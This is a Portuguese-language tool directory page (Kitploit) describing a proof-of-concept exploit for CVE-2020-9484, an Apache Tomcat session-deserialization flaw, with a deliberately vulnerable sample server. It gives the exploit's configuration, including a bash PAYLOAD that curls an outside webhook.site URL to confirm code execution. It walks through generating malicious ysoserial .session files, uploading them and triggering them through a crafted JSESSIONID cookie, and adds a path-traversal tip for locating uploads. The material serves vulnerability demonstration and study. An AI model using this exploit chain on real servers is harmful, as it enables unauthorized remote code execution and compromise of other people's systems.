Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
PoC_CVE-2020-9484 — Exploit PoC para CVE-2020-9484 e uma aplicação web vulnerável para sua demonstração | Kitploit
Ferramentas/GitHubGitHub/savsch/poc_cve-2020-9484
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubsavsch/poc_cve-2020-9484

PoC_CVE-2020-9484

Exploit PoC para CVE-2020-9484 e uma aplicação web vulnerável para sua demonstração

Ver Repositório
12há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Este repositório contém um exploit de prova de conceito para o CVE-2020-9484, juntamente com um servidor web de exemplo que é vulnerável a este exploit.


Pré-requisitos para que esta vulnerabilidade seja explorável

As versões afetadas do Tomcat são:

  • Apache Tomcat 10.x < 10.0.0-M5
  • Apache Tomcat 9.x < 9.0.35
  • Apache Tomcat 8.x < 8.5.55
  • Apache Tomcat 7.x < 7.0.104
  1. O PersistentManager está ativado e está usando um FileStore.
  2. O atacante consegue enviar um arquivo com conteúdo arbitrário, tem controle sobre a extensão do nome do arquivo (particularmente arquivos .session), e conhece o local onde ele é enviado.
  3. Existem gadgets no classpath (por exemplo, clojure ou commons-collections) que podem ser usados para um ataque de desserialização Java.

O Serviço Vulnerável de Exemplo

O serviço de exemplo é um servidor web com duas páginas, /index.jsp (ou simplesmente /) e /list.jsp. Ele permite que o usuário envie e baixe arquivos (específicos da sessão atual), atuando efetivamente como armazenamento de arquivos.

  • Ele suporta requisições POST para /upload com suporte a upload de arquivos, e permite que o usuário escolha o nome do arquivo. Isso torna possível enviar arquivos com a extensão .session. Também é conhecido que o servidor armazena os arquivos no diretório /var/tmp/uploads.
  • Ele tem PersistentManager ativado usando um FileStore. (veja context.xml)
  • Ele tem clojure:1.8.0 no classpath, facilitando assim o ataque de desserialização. (veja pom.xml)

O Exploit

Para configurar o serviço vulnerável de exemplo:

root@kitploit:~
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat

O serviço agora deve estar em execução em http://localhost:8085/POC_CVE-2020-9484/.

Agora ajuste as variáveis de configuração no início de exploit.py. O PAYLOAD, aqui um script shell, pode ser qualquer arquivo que possa ser executado pelo servidor.

root@kitploit:~
UPLOAD_URL =  'http://localhost:8085/POC_CVE-2020-9484/upload'  # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD =  'file'  # as in the upload page's html form
FILE_UPLOAD_BASE_PATH =  '/var/tmp/uploads/'  # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD =  '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE =  "Clojure"  # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage

Agora execute exploit.py. Ele executa as seguintes ações:

  1. Baixa o yoserial.
  2. Usa o yoserial para gerar objetos serializados maliciosos (como arquivos .session), que eventualmente serão desserializados no servidor:
    • chmodPayload.session para dar permissões de execução ao arquivo PAYLOAD enviado ao servidor.
    • executePayload.session para executar o arquivo PAYLOAD no servidor.
  3. Envia o PAYLOAD como um arquivo para o servidor.
  4. Envia os arquivos .session gerados acima para o servidor.
  5. Dispara uma requisição ao servidor com o cookie JSESSIONID sendo o caminho dos arquivos .session enviados anteriormente, relativo ao armazenamento de sessão do servidor, desencadeando assim sua desserialização no servidor e subsequente execução do payload.

Notas de rodapé

  • Muitos servidores armazenam arquivos enviados pelo usuário em um caminho da forma /path/to/uploads/base/directory/<valor do cookie JSESSIONID>/uploads/filename. Nesse caso, usar um JSESSIONID da forma ../../../../tmp (em vez de um valor arbitrário como "1337"*8 usado em exploit.py acima) com a requisição POST de upload de arquivo pode potencialmente ser útil para determinar onde o arquivo enviado está armazenado no servidor.
Baixar ferramenta